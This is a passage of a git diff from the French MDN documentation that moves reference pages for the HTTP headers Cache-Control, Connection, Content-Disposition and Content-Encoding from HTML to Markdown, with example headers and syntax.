Note : L'encodage en Base64 n'est pas un chiffrement ou un hachage ! Cette méthode est aussi peu sûre que d'envoyer les identifiants en clair (l'encodage base64 est un encodage réversible). Il faudra privilégier HTTPS lorsqu'on emploie une authentification "basique".

+
+
+
+ +

Exemples

+ +
Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+
+ +

Voir aussi l'article authentification HTTP avec des exemples de configuration de serveurs Apache ou nginx pour protéger votre site grâce à un mot de passe et l'authentification HTTP basique.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("7235", "Authorization", "4.2")}}HTTP/1.1 : Authentification
{{RFC("7617")}}Schéma d'Authentification HTTP 'Basic'
+ +

Voir

+ + diff --git a/files/fr/web/http/headers/cache-control/index.html b/files/fr/web/http/headers/cache-control/index.html deleted file mode 100644 index de82079b83..0000000000 --- a/files/fr/web/http/headers/cache-control/index.html +++ /dev/null @@ -1,217 +0,0 @@ ---- -title: Cache-Control -slug: Web/HTTP/Headers/Cache-Control -tags: - - Cache-Control - - General Header - - HTTP - - HTTP Headers - - Reference -translation_of: Web/HTTP/Headers/Cache-Control ---- -

{{HTTPSidebar}}

- -

L'en-tête HTTP Cache-Control contient des directives (ou instructions) pour la mise en cache tant dans les requêtes que dans les réponses. Une directive donnée dans une requête ne signifie pas que la même directive doit se trouver dans la réponse.

- - - - - - - - - - - - - - - - -
Type d'en-tête{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("CORS-safelisted response header")}}oui
- -

Syntaxe

- -

Pour être valables, les directives de mise en cache doivent respecter les règles suivante :

- - - -

Règles de cache des requêtes

- -

Les règles standard Cache-Control suivantes peuvent être utilisées par un client HTTP dans une requête :

- -
Cache-Control: max-age=<seconds>
-Cache-Control: max-stale[=<seconds>]
-Cache-Control: min-fresh=<seconds>
-Cache-Control: no-cache
-Cache-Control: no-store
-Cache-Control: no-transform
-Cache-Control: only-if-cached
-
- -

Règles de cache des réponses

- -

Les règles standard Cache-Control suivantes peuvent être utilisées par un serveur HTTP dans une réponse :

- -
Cache-Control: must-revalidate
-Cache-Control: no-cache
-Cache-Control: no-store
-Cache-Control: no-transform
-Cache-Control: public
-Cache-Control: private
-Cache-Control: proxy-revalidate
-Cache-Control: max-age=<seconds>
-Cache-Control: s-maxage=<seconds>
-
- -

Extensions de Cache-Control

- -

Les directives Extension Cache-Control ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la table de compatibilité ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer.

- -
Cache-Control: immutable
-Cache-Control: stale-while-revalidate=<seconds>
-Cache-Control: stale-if-error=<seconds>
-
- -

Directives

- -

Possibilité de mise en cache

- -

Une réponse est normalement mise en cache par le navigateur si

- - - -
-
public
-
Indique que la réponse peut être mise en cache par n'importe quel cache.
-
private
-
Indique que la réponse ne doit être mise en cache que pour un utilisateur donné et ne doit donc pas être mise en cache par un cache partagé.
-
no-cache
-
Indique de renvoyer systématiquement la requête au serveur et ne servir une éventuelle version en cache que dans le cas où le serveur le demande.
-
no-store
-

La réponse ne peut être stockée dans aucune mémoire cache. Bien que d'autres directives puissent être définies, C'est la seule directive dont vous avez besoin pour empêcher le réponses en cache sur les navigateurs modernes. max-age=0 est déjà implicite. La définition de la directive must-revalidate n'a pas de sens car pour passer la revalidation, vous devez stocker la réponse dans un cache, ce que n'empêche no-store.Ne pas copier-coller les spécifications Internet-Explorer pre-check=0,post-check=0 Si vous le voyez en ligne car il est entièrement ignoré, ce que confirme le tweet du développeur Edge.

-
- -

Expiration

- -
-
max-age=<secondes>
-
Indique la durée pendant laquelle la ressource doit être considérée comme valide (non expirée). Contrairement à expires, la durée indiquée dans cette directive commence à la date de la requête.
-
s-maxage=<secondes>
-
Indique une valeur pour écraser les valeurs définies par max-age ou Expires pour les caches partagés (comme les proxies). Il est donc ignoré par les caches privés (dont les navigateurs).
-
max-stale[=<secondes>]
-
Indique que le client accepte une réponse expirée. Une valeur optionnelle permet d'indiquer la durée maximale depuis laquelle la réponse peut être expirée mais acceptée quand même.
-
min-fresh=<secondes>
-
Indique que le client demande une réponse qui soit valide pour au moins la durée demandée (dont la date d'expiration est supérieure à la date actuelle plus la durée spécifiée).
-
stale-while-revalidate=<secondes> {{experimental_inline}}
-
Indique au cache de renvoyer les données en cache même si elles sont expirée depuis une durée inférieure à la durée spécifiée dans l'en-tête. Dans ce cas, le cache doit renvoyer la requête au serveur pour rafraîchir les données.
-
stale-if-error=<secondes> {{experimental_inline}}
-
Indique au cache de renvoyer les données en cache s'il y a une erreur pendant la récupération des données auprès du serveur et que la version en cache est expirée depuis une durée inférieure à celle spécifiée dans l'en-tête.
-
- -

Revalidation et rechargement

- -
-
must-revalidate
-
Le cache doit refaire une requête dans le cas où les données sont expirées afin de les mettre à jour s'il y a lieu (il reste parfaitement possible que le serveur réponde avec les mêmes données).
-
proxy-revalidate
-
Comme pour must-revalidate, mais force la valeur pour les caches partagés. Cette valeur est ignorée par les caches locaux.
-
immutable
-
Indique que les données renvoyées peuvent être servies même si elles sont expirées sans aucune validation et même si le client fait une demande explicite de rafraîchissement. Cette option est a priori uniquement adaptée si les contenus ne sont jamais modifiés mais toujours stockés à une URI différente (par exemple en utilisant un hash du contenu). Les clients qui ne gèrent pas cette directive l'ignorent. Dans le cas de Firefox, cette option est aussi ignorée pour les contenus qui ne sont pas servis en HTTPS. Pour plus d'informations, on pourra se référer à un blog en anglais.
-
- -

Autres

- -
-
no-transform
-
Aucune conversion ou transformation ne devraient être réalisée sur la ressource. Ainsi, les en-tête Content-Encoding, Content-Range et Content-Type ne devraient jamais être modifiés par un proxy (serveur mandataire). Un proxy non-transparent pourrait, en l'absence de cet en-tête, convertir ou compresser (avec pertes) des images pour réduire la place occupée en cache ou diminuer le volume de données à transférer sur un lien lent.
-
only-if-cached
-
Réglé par le client pour indiquer "ne pas utiliser le réseau" pour la réponse. Le cache doit soit répondre en utilisant une réponse stockée, soit répondre avec un code d'état 504. Les en-têtes conditionnels tels que If-None-Match ne doivent pas être définis. Il n'y a aucun effet si only-if-cached est défini par un serveur dans le cadre d'une réponse.
-
- -

Exemples

- -

Prévention de la mise en cache

- -

Pour désactiver la mise en cache, vous pouvez envoyer l'en-tête de réponse suivant. En outre, voir aussi les en-têtes Expires et Pragma.

- -
Cache-Control: no-store
-
- -
Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
-
- -

Mise en cache d'actifs statiques

- -

Pour les fichiers de l'application qui ne seront pas modifiés, vous pouvez généralement ajouter une mise en cache agressive en envoyant l'en-tête de réponse ci-dessous. Cela inclut les fichiers statiques qui sont servis par l'application comme les images, les fichiers CSS et les fichiers JavaScript, par exemple. En outre, voir l'en-tête Expires.

- -
Cache-Control: public, max-age=604800, immutable
-
- -

Nécessitant une revalidation

- -

Le fait de spécifier no-cache ou max-age=0 indique que les clients peuvent mettre une ressource en cache et doivent la revalider à chaque fois avant de l'utiliser. Cela signifie que la requête HTTP se produit à chaque fois, mais qu'elle peut sauter le téléchargement du corps HTTP si le contenu est valide.

- -
Cache-Control: no-cache
-Cache-Control: no-cache, max-age=0
-Cache-Control: no-cache, max-age=0, stale-while-revalidate=300
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{RFC(8246, "HTTP Immutable Responses")}}IETF RFC
{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}IETF RFC
{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}IETF RFCInitial definition
- -

Compatibilité avec les navigateurs

- -

{{Compat("http.headers.Cache-Control")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/cache-control/index.md b/files/fr/web/http/headers/cache-control/index.md new file mode 100644 index 0000000000..de82079b83 --- /dev/null +++ b/files/fr/web/http/headers/cache-control/index.md @@ -0,0 +1,217 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +tags: + - Cache-Control + - General Header + - HTTP + - HTTP Headers + - Reference +translation_of: Web/HTTP/Headers/Cache-Control +--- +

{{HTTPSidebar}}

+ +

L'en-tête HTTP Cache-Control contient des directives (ou instructions) pour la mise en cache tant dans les requêtes que dans les réponses. Une directive donnée dans une requête ne signifie pas que la même directive doit se trouver dans la réponse.

+ + + + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("CORS-safelisted response header")}}oui
+ +

Syntaxe

+ +

Pour être valables, les directives de mise en cache doivent respecter les règles suivante :

+ + + +

Règles de cache des requêtes

+ +

Les règles standard Cache-Control suivantes peuvent être utilisées par un client HTTP dans une requête :

+ +
Cache-Control: max-age=<seconds>
+Cache-Control: max-stale[=<seconds>]
+Cache-Control: min-fresh=<seconds>
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+
+ +

Règles de cache des réponses

+ +

Les règles standard Cache-Control suivantes peuvent être utilisées par un serveur HTTP dans une réponse :

+ +
Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=<seconds>
+Cache-Control: s-maxage=<seconds>
+
+ +

Extensions de Cache-Control

+ +

Les directives Extension Cache-Control ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la table de compatibilité ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer.

+ +
Cache-Control: immutable
+Cache-Control: stale-while-revalidate=<seconds>
+Cache-Control: stale-if-error=<seconds>
+
+ +

Directives

+ +

Possibilité de mise en cache

+ +

Une réponse est normalement mise en cache par le navigateur si

+ + + +
+
public
+
Indique que la réponse peut être mise en cache par n'importe quel cache.
+
private
+
Indique que la réponse ne doit être mise en cache que pour un utilisateur donné et ne doit donc pas être mise en cache par un cache partagé.
+
no-cache
+
Indique de renvoyer systématiquement la requête au serveur et ne servir une éventuelle version en cache que dans le cas où le serveur le demande.
+
no-store
+

La réponse ne peut être stockée dans aucune mémoire cache. Bien que d'autres directives puissent être définies, C'est la seule directive dont vous avez besoin pour empêcher le réponses en cache sur les navigateurs modernes. max-age=0 est déjà implicite. La définition de la directive must-revalidate n'a pas de sens car pour passer la revalidation, vous devez stocker la réponse dans un cache, ce que n'empêche no-store.Ne pas copier-coller les spécifications Internet-Explorer pre-check=0,post-check=0 Si vous le voyez en ligne car il est entièrement ignoré, ce que confirme le tweet du développeur Edge.

+
+ +

Expiration

+ +
+
max-age=<secondes>
+
Indique la durée pendant laquelle la ressource doit être considérée comme valide (non expirée). Contrairement à expires, la durée indiquée dans cette directive commence à la date de la requête.
+
s-maxage=<secondes>
+
Indique une valeur pour écraser les valeurs définies par max-age ou Expires pour les caches partagés (comme les proxies). Il est donc ignoré par les caches privés (dont les navigateurs).
+
max-stale[=<secondes>]
+
Indique que le client accepte une réponse expirée. Une valeur optionnelle permet d'indiquer la durée maximale depuis laquelle la réponse peut être expirée mais acceptée quand même.
+
min-fresh=<secondes>
+
Indique que le client demande une réponse qui soit valide pour au moins la durée demandée (dont la date d'expiration est supérieure à la date actuelle plus la durée spécifiée).
+
stale-while-revalidate=<secondes> {{experimental_inline}}
+
Indique au cache de renvoyer les données en cache même si elles sont expirée depuis une durée inférieure à la durée spécifiée dans l'en-tête. Dans ce cas, le cache doit renvoyer la requête au serveur pour rafraîchir les données.
+
stale-if-error=<secondes> {{experimental_inline}}
+
Indique au cache de renvoyer les données en cache s'il y a une erreur pendant la récupération des données auprès du serveur et que la version en cache est expirée depuis une durée inférieure à celle spécifiée dans l'en-tête.
+
+ +

Revalidation et rechargement

+ +
+
must-revalidate
+
Le cache doit refaire une requête dans le cas où les données sont expirées afin de les mettre à jour s'il y a lieu (il reste parfaitement possible que le serveur réponde avec les mêmes données).
+
proxy-revalidate
+
Comme pour must-revalidate, mais force la valeur pour les caches partagés. Cette valeur est ignorée par les caches locaux.
+
immutable
+
Indique que les données renvoyées peuvent être servies même si elles sont expirées sans aucune validation et même si le client fait une demande explicite de rafraîchissement. Cette option est a priori uniquement adaptée si les contenus ne sont jamais modifiés mais toujours stockés à une URI différente (par exemple en utilisant un hash du contenu). Les clients qui ne gèrent pas cette directive l'ignorent. Dans le cas de Firefox, cette option est aussi ignorée pour les contenus qui ne sont pas servis en HTTPS. Pour plus d'informations, on pourra se référer à un blog en anglais.
+
+ +

Autres

+ +
+
no-transform
+
Aucune conversion ou transformation ne devraient être réalisée sur la ressource. Ainsi, les en-tête Content-Encoding, Content-Range et Content-Type ne devraient jamais être modifiés par un proxy (serveur mandataire). Un proxy non-transparent pourrait, en l'absence de cet en-tête, convertir ou compresser (avec pertes) des images pour réduire la place occupée en cache ou diminuer le volume de données à transférer sur un lien lent.
+
only-if-cached
+
Réglé par le client pour indiquer "ne pas utiliser le réseau" pour la réponse. Le cache doit soit répondre en utilisant une réponse stockée, soit répondre avec un code d'état 504. Les en-têtes conditionnels tels que If-None-Match ne doivent pas être définis. Il n'y a aucun effet si only-if-cached est défini par un serveur dans le cadre d'une réponse.
+
+ +

Exemples

+ +

Prévention de la mise en cache

+ +

Pour désactiver la mise en cache, vous pouvez envoyer l'en-tête de réponse suivant. En outre, voir aussi les en-têtes Expires et Pragma.

+ +
Cache-Control: no-store
+
+ +
Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
+
+ +

Mise en cache d'actifs statiques

+ +

Pour les fichiers de l'application qui ne seront pas modifiés, vous pouvez généralement ajouter une mise en cache agressive en envoyant l'en-tête de réponse ci-dessous. Cela inclut les fichiers statiques qui sont servis par l'application comme les images, les fichiers CSS et les fichiers JavaScript, par exemple. En outre, voir l'en-tête Expires.

+ +
Cache-Control: public, max-age=604800, immutable
+
+ +

Nécessitant une revalidation

+ +

Le fait de spécifier no-cache ou max-age=0 indique que les clients peuvent mettre une ressource en cache et doivent la revalider à chaque fois avant de l'utiliser. Cela signifie que la requête HTTP se produit à chaque fois, mais qu'elle peut sauter le téléchargement du corps HTTP si le contenu est valide.

+ +
Cache-Control: no-cache
+Cache-Control: no-cache, max-age=0
+Cache-Control: no-cache, max-age=0, stale-while-revalidate=300
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{RFC(8246, "HTTP Immutable Responses")}}IETF RFC
{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}IETF RFC
{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}IETF RFCInitial definition
+ +

Compatibilité avec les navigateurs

+ +

{{Compat("http.headers.Cache-Control")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/connection/index.html b/files/fr/web/http/headers/connection/index.html deleted file mode 100644 index 3ea2071137..0000000000 --- a/files/fr/web/http/headers/connection/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Connection -slug: Web/HTTP/Headers/Connection -tags: - - HTTP - - Reference - - Web - - en-tête -translation_of: Web/HTTP/Headers/Connection ---- -
{{HTTPSidebar}}
- -

L'en-tête général Connection contrôle la façon dont la connexion reste ouverte ou non après que la transaction courante soit terminée. Si la valeur envoyée est keep-alive, la connexion est persistente et n'est pas fermée, permettant aux requêtes qui suivent et s'adressent au même serveur d'être envoyées.

- -
-

Note :Les champs d'en-tête spécifiques à la connexion (tels que Connection) ne doivent pas être utilisés avec HTTP/2.

-
- -

Except for the standard hop-by-hop headers ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}), any hop-by-hop headers used by the message must be listed in the Connection header, so that the first proxy knows it has to consume them and not forward them further. Standard hop-by-hop headers can be listed too (it is often the case of {{HTTPHeader("Keep-Alive")}}, but this is not mandatory).

- - - - - - - - - - - - -
Type d'en-têteEn-tête général
Nom d'en-tête interditOui
- -

Syntaxe

- -
Connection: keep-alive
-Connection: close
-
- -

Directives

- -
-
close
-
Indique que le client ou que le serveur souhaite fermer la connexion. C'est la valeur par défaut pour les requêtes en HTTP/1.0.
-
Une liste d'en-têtes HTTP séparés par des virgules (généralement, la valeur keep-alive seule)
-
Indique que le client souhaite que la connexion reste ouverte. Une connexion persistente est le comportement par défaut pour les requêtes HTTP/1.1. La liste des en-têtes sont le nom des en-têtes à retirer par le premier proxy ou cache non-transparent entre le client et le serveur : ces en-tête définissent la connexion entre l'émetteur et la première entité (pas jusqu'au nœud de destination).
-
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Connection")}}

diff --git a/files/fr/web/http/headers/connection/index.md b/files/fr/web/http/headers/connection/index.md new file mode 100644 index 0000000000..3ea2071137 --- /dev/null +++ b/files/fr/web/http/headers/connection/index.md @@ -0,0 +1,51 @@ +--- +title: Connection +slug: Web/HTTP/Headers/Connection +tags: + - HTTP + - Reference + - Web + - en-tête +translation_of: Web/HTTP/Headers/Connection +--- +
{{HTTPSidebar}}
+ +

L'en-tête général Connection contrôle la façon dont la connexion reste ouverte ou non après que la transaction courante soit terminée. Si la valeur envoyée est keep-alive, la connexion est persistente et n'est pas fermée, permettant aux requêtes qui suivent et s'adressent au même serveur d'être envoyées.

+ +
+

Note :Les champs d'en-tête spécifiques à la connexion (tels que Connection) ne doivent pas être utilisés avec HTTP/2.

+
+ +

Except for the standard hop-by-hop headers ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}), any hop-by-hop headers used by the message must be listed in the Connection header, so that the first proxy knows it has to consume them and not forward them further. Standard hop-by-hop headers can be listed too (it is often the case of {{HTTPHeader("Keep-Alive")}}, but this is not mandatory).

+ + + + + + + + + + + + +
Type d'en-têteEn-tête général
Nom d'en-tête interditOui
+ +

Syntaxe

+ +
Connection: keep-alive
+Connection: close
+
+ +

Directives

+ +
+
close
+
Indique que le client ou que le serveur souhaite fermer la connexion. C'est la valeur par défaut pour les requêtes en HTTP/1.0.
+
Une liste d'en-têtes HTTP séparés par des virgules (généralement, la valeur keep-alive seule)
+
Indique que le client souhaite que la connexion reste ouverte. Une connexion persistente est le comportement par défaut pour les requêtes HTTP/1.1. La liste des en-têtes sont le nom des en-têtes à retirer par le premier proxy ou cache non-transparent entre le client et le serveur : ces en-tête définissent la connexion entre l'émetteur et la première entité (pas jusqu'au nœud de destination).
+
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Connection")}}

diff --git a/files/fr/web/http/headers/content-disposition/index.html b/files/fr/web/http/headers/content-disposition/index.html deleted file mode 100644 index 1dffadd807..0000000000 --- a/files/fr/web/http/headers/content-disposition/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Content-Disposition -slug: Web/HTTP/Headers/Content-Disposition -tags: - - HTTP - - Reference - - header -translation_of: Web/HTTP/Headers/Content-Disposition ---- -
{{HTTPSidebar}}
- -

Dans une réponse HTTP régulière, l'en-tête de réponse Content-Disposition est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement.

- -

Dans un corps multipart / form-data, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite boundary définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, Content-Disposition n'a aucun effet.

- -

L'en-tête Content-Disposition est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP.

- - - - - - - -
- - - - - - - - - - - -
Type d'en-tête{{Glossary("Response header")}} (pour le corps principal)
- {{Glossary("General header")}} (pour une sous-partie d'un corps à plusieurs parties)
{{Glossary("Forbidden header name")}}Non
-
- -

Syntaxe

- -

En tant qu'entête de réponse pour le corps principal 

- -

Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" Avec la valeur des paramètres du nom de
- fichier si présent.

- -
Content-Disposition: inline
-Content-Disposition: attachment
-Content-Disposition: attachment; filename="filename.jpg"
- -

En tant qu'en-tête pour un corps à plusieurs parties 

- -

Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont
- séparés par un point-virgule (';').

- -
Content-Disposition: form-data Content-Disposition: form-data;
-name="fieldName" Content-Disposition: form-data;
-name="fieldName"; filename="filename.jpg"
- -

Directives

- -

<name>
- Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le contenu de cette sous-partie se réfère. Lorsqu'il s'agit de plusieurs fichiers dans le même champ (par exemple, l'attribut {{htmlattrxref("multiple", "input")}} d'un {{HTMLElement("input","<input type=file>")}} element), il peut y avoir plusieurs sous-parties portant le même nom.

- -

Un name avec une valeur de '_charset_' indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites.

- -

<filename>
- Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec Content-Disposition: attachement, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur.

- -

<filename*>
- Les paramètres filename et filename* diffèrent uniquement en ce que filename* utilise l'encodage défini dans la RFC 5987. Lorsque filename et filename* sont présents dans une seule valeur de champ d'en-tête, filename* est préféré à filename lorsque les deux sont présents et compris.

- -

Exemples

- -

Une réponse déclanchant le dialogue "Enregistrer sous":

- -
200 OK
-Content-Type: text/html; charset=utf-8
-Content-Disposition: attachment; filename="cool.html"
-Content-Length: 22
-
-<HTML>Enregistrez-moi !</HTML>
-
- -

Ce fichier HTML simple sera sauvegardé en tant que téléchargement régulier plutôt que dans le navigateur. La plupart des navigateurs proposeront de l'enregistrer sous le nom de fichier cool.html (par défaut).

- -

Un exemple de formulaire HTML, publié à l'aide du format multipart / form-data qui utilise l'en-tête Content-Disposition:

- -
POST /test.html HTTP/1.1
-Host: example.org
-Content-Type: multipart/form-data;boundary="boundary"
-
---boundary
-Content-Disposition: form-data; name="field1"
-
-value1
---boundary
-Content-Disposition: form-data; name="field2"; filename="example.txt"
-
-value2
---boundary--
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7578")}}
- Retour des valeurs à partir des formulaires: multipart / form-data
{{RFC("6266")}}
- Utilisation du champ Header Content-Disposition dans le protocole de transfert hypertexte (HTTP)
{{RFC("2183")}}
- Communiquer des informations de présentation dans les messages Internet: le champ de l'en-tête de disposition de contenu
- -

Compatibilité des navigateurs

- -

{{Compat("http/headers/content-disposition")}}

- -

Notes de compatibilité

- - - -

Voir également

- - diff --git a/files/fr/web/http/headers/content-disposition/index.md b/files/fr/web/http/headers/content-disposition/index.md new file mode 100644 index 0000000000..1dffadd807 --- /dev/null +++ b/files/fr/web/http/headers/content-disposition/index.md @@ -0,0 +1,145 @@ +--- +title: Content-Disposition +slug: Web/HTTP/Headers/Content-Disposition +tags: + - HTTP + - Reference + - header +translation_of: Web/HTTP/Headers/Content-Disposition +--- +
{{HTTPSidebar}}
+ +

Dans une réponse HTTP régulière, l'en-tête de réponse Content-Disposition est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement.

+ +

Dans un corps multipart / form-data, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite boundary définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, Content-Disposition n'a aucun effet.

+ +

L'en-tête Content-Disposition est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP.

+ + + + + + + +
+ + + + + + + + + + + +
Type d'en-tête{{Glossary("Response header")}} (pour le corps principal)
+ {{Glossary("General header")}} (pour une sous-partie d'un corps à plusieurs parties)
{{Glossary("Forbidden header name")}}Non
+
+ +

Syntaxe

+ +

En tant qu'entête de réponse pour le corps principal 

+ +

Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" Avec la valeur des paramètres du nom de
+ fichier si présent.

+ +
Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"
+ +

En tant qu'en-tête pour un corps à plusieurs parties 

+ +

Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont
+ séparés par un point-virgule (';').

+ +
Content-Disposition: form-data Content-Disposition: form-data;
+name="fieldName" Content-Disposition: form-data;
+name="fieldName"; filename="filename.jpg"
+ +

Directives

+ +

<name>
+ Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le contenu de cette sous-partie se réfère. Lorsqu'il s'agit de plusieurs fichiers dans le même champ (par exemple, l'attribut {{htmlattrxref("multiple", "input")}} d'un {{HTMLElement("input","<input type=file>")}} element), il peut y avoir plusieurs sous-parties portant le même nom.

+ +

Un name avec une valeur de '_charset_' indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites.

+ +

<filename>
+ Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec Content-Disposition: attachement, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur.

+ +

<filename*>
+ Les paramètres filename et filename* diffèrent uniquement en ce que filename* utilise l'encodage défini dans la RFC 5987. Lorsque filename et filename* sont présents dans une seule valeur de champ d'en-tête, filename* est préféré à filename lorsque les deux sont présents et compris.

+ +

Exemples

+ +

Une réponse déclanchant le dialogue "Enregistrer sous":

+ +
200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="cool.html"
+Content-Length: 22
+
+<HTML>Enregistrez-moi !</HTML>
+
+ +

Ce fichier HTML simple sera sauvegardé en tant que téléchargement régulier plutôt que dans le navigateur. La plupart des navigateurs proposeront de l'enregistrer sous le nom de fichier cool.html (par défaut).

+ +

Un exemple de formulaire HTML, publié à l'aide du format multipart / form-data qui utilise l'en-tête Content-Disposition:

+ +
POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("7578")}}
+ Retour des valeurs à partir des formulaires: multipart / form-data
{{RFC("6266")}}
+ Utilisation du champ Header Content-Disposition dans le protocole de transfert hypertexte (HTTP)
{{RFC("2183")}}
+ Communiquer des informations de présentation dans les messages Internet: le champ de l'en-tête de disposition de contenu
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/headers/content-disposition")}}

+ +

Notes de compatibilité

+ + + +

Voir également

+ + diff --git a/files/fr/web/http/headers/content-encoding/index.html b/files/fr/web/http/headers/content-encoding/index.html deleted file mode 100644 index 3d52ddfac5..0000000000 --- a/files/fr/web/http/headers/content-encoding/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Content-Encoding -slug: Web/HTTP/Headers/Content-Encoding -tags: - - En-têtes - - HTTP - - Reference -translation_of: Web/HTTP/Headers/Content-Encoding ---- -
{{HTTPSidebar}}
- -

L'en-tête Content-Encoding indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête Content-Type.

- -

Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue.

- - - - - - - - - - - - -
Type d'en-têteEn-tête d'entité
Nom d'en-tête interditNon
- -

Syntaxe

- -
Content-Encoding: gzip
